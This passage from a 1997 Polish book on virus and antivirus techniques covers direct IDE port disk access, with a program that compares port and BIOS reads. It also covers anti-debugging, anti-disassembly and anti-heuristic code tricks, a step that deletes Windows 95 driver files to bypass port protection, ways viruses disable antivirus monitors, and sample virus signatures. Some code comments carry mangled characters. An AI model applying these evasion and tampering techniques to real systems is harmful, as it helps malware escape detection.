Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi).
Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane przez funkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach (począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są przekierowy-wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor MBR wcale nie jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, lecz pod adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może przyczynić się do przypadkowego zniszczenia danych na dysku podczas zapisywania przy użyciu portów, a co za tym idzie, do szybszego wykrycia wirusa.
Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio przez porty jest odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu nawet dla trybu chronionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie, można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za operacje na dyskach.
W przypadku systemu Windows 95 (działającego w trybie chronionym) można spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu rzeczywistego, a tam nie działa mechanizm ochrony portów.
Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo usunąć następujące pliki:
> ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD;
> ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde zgodne z (E)IDE;
> ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde SCSI,
gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows. Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa zostanie on uruchomiony w trybie zgodności z MS DOS.
Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment) odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie):
> WIN=;
> WINDIR=;
> WINBOOTDIR=
i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać dostęp do plików *.PDR.
Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; IDE_PORT v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program odczytuje sektor tablicy partycji pierwszego twardego dysku ;
; przez porty IDE i przerwanie BIOS, a nastepnie tak odczytane sektory ;
; porownuje ze soba. ;
; Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa zafalszowane ;
; przez jakiegos wirusa. ;
; ;
; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z IDE lub EIDE ;
; i nie dziala w systemie Windows'95 ;
; ;
; Kompilacja : ;
; TASM /t IDE_PORT.ASM ;
; TLINK IDE_PORT.OBJ ;
; ;
;----------------------------------------------------------------------------;
IDE_PORT SEGMENT
ASSUME CS:IDE_PORT, DS:IDE_PORT
ORG 100h
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych
Start:
lea si,TeCopyRight ; \ wyswietl info o programie
Call Druk ; /
mov ax,1600h ; sprawdz, czy praca w systemie Windows ?
int 2Fh
test al,7Fh ;
jz NieMaWindows ; ZF=0 - nie ma Windows
cmp al,4 ; czy wersja Windows < 4.0 ?
jb NieMaWindows ; TAK - to nie Windows 95
; NIE - to Windows 95
lea bp,TeWindows95 ; \ program nie dziala pod Windows 95
jmp Rozne ; / wiec koncz
NieMaWindows:
mov dx,1F2h ; 1F2 - okresla ile sektorow czytac
mov al,00000001b ; czytaj 1 sektor
out dx,al ; wyslij do IDE
inc dx ; 1F3 - okresla, ktory sektor pierwszy
mov al,00000001b ; czytaj sektor nr 1
out dx,al ; wyslij do IDE
inc dx ; 1F4 - starsza czesc cylindra (bity 0-1)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE
inc dx ; 1F5 - mlodsza czesc cylindra (bity 0-7)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE
inc dx ; 1F6 - nr dysku + nr glowicy
mov al,10100000b ; 101NGggg, N=0=master/1=slave, Gggg - glowica
out dx,al ; wyslij do IDE
inc dx ; 1F7 - rejestr rozkazowy IDE
mov al,00100000b ; rozkaz odczytu
out dx,al ; wyslij do IDE
lea bp,TeIDENieDziala ; odczyt przez porty nie dziala
mov cx,0FFFFh ; tyle razy odczytuj z portu
CzekajNaDane:
in al,dx ; czekaj na dane z kontrolera IDE
test al,00001000b ; bit 3 ustawiony ?
loopz CzekajNaDane ; TAK - mozna czytac, NIE - czekaj dalej
test al,00001000b ; bit 3 ustawiony ?
jz Rozne ; NIE - jakis blad
mov cx,256 ; 256x2 bajtow
lea di,SektorIDE ; gdzie zapisac dane
mov dx,1F0h ; 1F0 - port danych IDE
cld ; INC DI w operacjach lancuchowych
CzytajSektor:
in ax,dx ; czytaj slowo
stosw ; zachowaj je
loop CzytajSektor ; czytaj 256 slow=512 bajtow sektora
mov dx,80h ; dysk twardy nr 0, glowica 0
mov cx,1 ; cylinder 0, sektor 1
lea bx,SektorBIOS ; dokad czytac sektor
mov ax,0201h ; funkcja BIOS - czytaj 1 sektor
int 13h ; wywolaj funkcje BIOS
lea bp,TeInne ; komunikat ze rozne
mov cx,256 ; porownaj 256 slow=512 bajtow
lea si,SektorIDE ; bufor z sektorem odczytanym przez porty
lea di,SektorBIOS ; bufor z sektorem odczytanym przez BIOS
rep cmpsw ; porownaj oba bufory
jne Rozne ; ZF=0 - takie same, ZF=1 - rozne
lea bp,TeTakieSame ; komunikat, ze takie same
Rozne:
mov si,bp ; komunikat : rozne lub takie same
Call Druk ; wyswietl komunikat
mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
Druk: ; procedura wyswietla tekst ASCIIZ z CS:SI
push ax si ; zachowaj zmieniane rejestry
NastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem ?
jz DrukPowrot ; TAK = koniec napisu wyjdz z petli
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak (z AL)
jmp short NastepnyZnak ; wez nastepny znak
DrukPowrot:
pop si ax ; przywroc zmieniane rejestry
ret ; powrot z procedury
TeCopyRight db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk 1997',NUL
TeTakieSame db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez BIOS !',NUL
TeInne db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez BIOS !',NUL
TeWindows95 db CR,LF,'_ Odczyt przez IDE-porty nie dziala w Windows''95 !',NUL
TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala !',NUL
SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ')
SektorIDE db 512/16 dup ('[ SEKTOR EIDE ] ')
IDE_PORT ENDS
END Start
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i antyheurystyczne
Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa) blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji.
Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym przejmowaniu przerwań newralgicznych dla działania programu uruchomieniowego, a więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich adresy najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo komputer. Często w takich wypadkach przejmowane są także przerwania 21h, 16h, 10h, służące debuggerom do obsługi plików, klawiatury, ekranu itd.
Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu - wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak, aby ten niczego nie zauważył.
Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje:
; Blokada przerwa± sprzÛtowych
MOV AL,0FFh ; ustaw wszystkie bity w AL na 1
OUT 21h, AL ; zamaskuj przerwania sprzÛtowe od 0 do 7
OUT 0Alh, AL ; zamaskuj przerwania sprzÛtowe od 8 do F Wykrywanie,
; czy kod wykonuje siÛ pod kontrola debuggera
PUSH SS ; za│aduj na stos warto£µ SS
POP SS ; po tej instrukcji, nastÛpny rozkaz nie jest
; kontrolowany,
PUSHF ; wiÛc mo┐na zachowaµ na stosie prawdziwe flagi
POP AX ; AX=flagi zdjÛte ze stosu
TEST AH,1 ; czy bit TF=1 ?
JNZ DEBUG_ON ; je£li tak, to u┐ywany jest debugger
........ ; debugger nie jest u┐ywany
DEBUG_ON: ; debugger jest u┐ywany
Wraz z pojawieniem się debuggerów działających w trybie chronionym znaczenie sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy przerwań.
Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz odpowiednie kombinaqe instrukcji, które zakłócają typowy listing programu tak, iż staje się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we wstępie wirusie JUMP).
Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze takie same).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program demonstruje proste techniki antydeasemblerowe ;
; Po skompilowaniu mozna sprobowac deasemblowac kod tego ;
; programu przy uzyciu np. SOURCERa i porownac z oryginalnym ;
; zrodlem ;
; ;
; Kompilacja : ;
; TASM ANTY_DEA.ASM ;
; TLINK /t ANTY_DEA.OBJ ;
; ;
;----------------------------------------------------------------------------;
ANTY_DEA SEGMENT
ASSUME CS:ANTY_DEA, DS:ANTY_DEA
ORG 100h
Start: ; poczatek programu
sub bp,bp ; zeruj rejestr BP
lea dx,[bp+offset TxCzesc] ; dostep do danych poprzez
; adresowanie typowo uzywane
; przy operacjach na stosie
; deasembler moze nie zauwazyc
; ze chodzi o zwykly ofset
; do tekstu
jmp $+4 ; przeskocz bajt 0EAh
; i wskocz w drugi bajt
; rozkazu ADD, czyli
; przejdz do rozkazu
; jmp Koniec
; (ukrytego w kodzie rozkazu ADD)
db 0EAh ; symuluj wywolanie
; dalekiej procedury
; o kodzie EA OO OO SS SS, gdzie
; SS SS : Seg, OO OO : ofs
; mozliwe, ze deasembler pobierze
; dwuslowo i zamieni je
; na SS SS : OO OO
; i nie wykryje ani ADD, ani JMP
add ax,0EBh+256*(offset Koniec-$-3) ; kod tego rozkazu
; to db 05
; db EB
; db (offset Koniec-$-3)
; od drugiego bajtu rozpoczyna sie
; kod rozkazu Jmp Koniec (EB,??)
TxCzesc db 0Dh,0Ah,'Czesc!',0Dh,0Ah,'$' ; tekst w srodku kodu;
; istnieje szansa, ze
; deasembler zacznie
; go interpretowac jako kod
db 0EAh ; ta sama sztuczka co powyzej;
; symulacja wywolania dalekiej
; procedury
Koniec: ; tu dotrze program omijajac tekst
jmp $+3 ; przeskocz bajt 0EAh
db 0EAh ; ta sama sztuczka co powyzej;
; symulacja wywolania dalekie
; procedury CALL FAR
; ponizsza sekwencja mov ah,9/
; int 21h jest 4 bajtowa i jest
; calkowicie "pochlonieta" przez
; symulowany rozkaz CALL FAR
mov ah,9 ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
ret ; powrot do PSP:0000h,
; gdzie znajduje sie kod Int 20h,
; czyli koncz program
ANTY_DEA ENDS
END Start
Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów tymi metodami.
Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator, dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu, funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi wyglądu programu napisanego w językach wysokiego poziomu (posiadają one charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE lub innych).
Po wykryciu wywołania pewnej ilości funkcji obsługiwanych przez przerwania programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle przerywa dalsze poszukiwania i pozostawia plik bez zmian.
Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez odpowiednią manipulację kodem, np. tradycjną sekwencję:
CMP AX,4B00h
mo┐na zakodowaµ w wirusie jako:
ADD AX,1234h
CMP AX,4B00h+1234h
lub
XCHG AX,CX
CMP AX,4B00h XCHG AX,CX
lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną operację wykona się dla większości zawartych w wirusie instrukcji, program antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza.
9.3. Optymalizacje kodu
Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim kodowaniu różnych instrukcji, które - mimo, że krótsze od normal-
nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe przykłady ilustrują najbardziej znane i proste optymalizacje kodu:
XOR REJ16,REJ16 ; zeruj rejestr 16-bitowy za pomoce 2-bajtowego
; rozkazu (zamiast 3-bajtowego rozkazu MOV REJ16,0)
XOR AX,AX ; zeruj rejestry DX:AX za pomoc╣ dw¾ch rozkaz¾w CWD
; zajmuj╣cych razem 3 bajty (zamiast 4 lub 6 bajt¾w)
XCHG AX,REJ16 ; przenie£ zawarto£µ rejestru AX do innego rejestru ; 16-bitowego zamiast 2-bajtowej instrukcji MOV BX,AX
; (mo┐na u┐ywaµ tylko w niekt¾rych sytuacjach)
INC REJ16 ; dwie 1-bajtowe instrukcje INC
INC REJ16 ; zamiast jednej 3-bajtowej instrukcji
ADD REJ16,2 ; analogicznie dla rozkazu
SUB REJ16,2 ; 2xDEC
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi
Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla użytkownika.
Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada żadnej wagi do ochrony własnego
kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż program, mimo że jest zainstalowany, nie działa tak, jak powinien.
Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status, zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa.
We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa Veldmana).
W najbliższych latach spodziewać się można powstania zupełnie nowych odmian wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu.
ROZDZIAŁ 10
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses)
Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa, który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także sieciowych). Wirus taki powinien infekować wszystkie możliwe do zarażenia obiekty, a także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych trudności po całej sieci Internet.
Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa, jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które radzą sobie zarówno na komputerach klasy PC, jak i Macintosh,
10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors)
Większość obecnie istniejących wirusów infekując pliki używa standardowego schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i wykorzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto, gdyby wirus tego typu był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne.
10.3. Wirusy zmienne genetycznie (mutujące swój kod)
W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak kod odporny na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość, objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby swą nową kopię, przemieszczając odpowiednie fragmenty ko
du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć niewykluczone, iż dzieło takie wkrótce się pojawi.
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty
Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np. system Windows 95, Linux, OS/2 i,
co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa).
Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można uznać większość plików używanych przez ten system, które zawierają jakieś przydatne wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów: GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki nowe EXE o nagłówku
PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego ukrycia wirusa.
ROZDZIAŁ 11
11.1. Skanery (ang. scaners)
Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na wyszukiwaniu zadanej sekwencji bajtów w ciągu danych.
W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę), dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze.
Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną).
Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało, jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co świadczy o uniwersalności tej metody.
11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors)
Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB lub tablicę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych przez wirusy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy wirusów.
Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program antywirusowy z pamięci.
11.3. Szczepionki (ang. disinfectors)
Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby, zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale działający program.
11.4. Programy autoweryfikujące
Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu, mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod dopisuje się do pliku wykorzystując te same mechanizmy co wirusy.
Najczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w pliku, mimo że jest on zainfekowany.
11.5. Programy zliczające sumy kontrolne (ang. integrity checkers)
Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z poprzednio zachowaną.
Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez większych problemów można zastąpić pierwotną, przechowywaną w pliku.
Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.
ROZDZIAŁ 12
12.1. Skaning
Historycznie jest to najstarsza technika stosowana przez programy antywirusowe. Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów (sygnatury wirusa).
Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów:
B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA ; sygnatura wirusa Atomie 1.0
BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83 ; sygnatura wirusa Human Greed
8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE ; sygnatura wirusa DOOM!
5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4 ; sygnatura wirusa Ethernity
5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21 ; sygnatura wirusa OLG
Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości, zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *. Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur używających znaków globalnych:
BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura wirusa FireFly
B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02 ; sygnatura wirusa K-CMOS
1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1 ; sygnatura wirusa Geodesic Propagation
33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04 ; sygnatura wirusa 1984
Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja podanych metod).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SKANER v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program sluzy do przeszukiwania plikow w celu znalezienia zadanego ;
; lancucha bajtow (np. stalej sygnatury wirusa) podanego jako parametr ;
; przy wywolaniu programu. ;
; ;
;----------------------------------------------------------------------------;
; DANE TECHNICZNE ;
;----------------------------------------------------------------------------;
; ;
; _ Wywolanie: SKANER NazwaPliku CiagBajtow ;
; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub zwyklego tekstu ;
; np: ;
; _ CD 21 - szuka wywolania przerwania 21h ;
; _ 'wirus' - szuka slowa "wirus" ;
; _ 'abc'80C5'def'EE F6 - szuka lancucha "abcÃ+def_¸" ;
; _ Maksymalna dlugosc wyszukiwanego ciagu = 128 bajtow. ;
; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024 bajtow ;
; 65024=512*127=127 sektorow, 512 bajtowych ;
; _ Maksymalna ilosc zliczanych wystapien ciagu = 2^32 razy ;
; _ Pliki z atrybutami Hidden, System przed odczytem maja zmieniany atrybut ;
; na Archive; po skonczeniu programu przywracany jest oryginalny atrybut ;
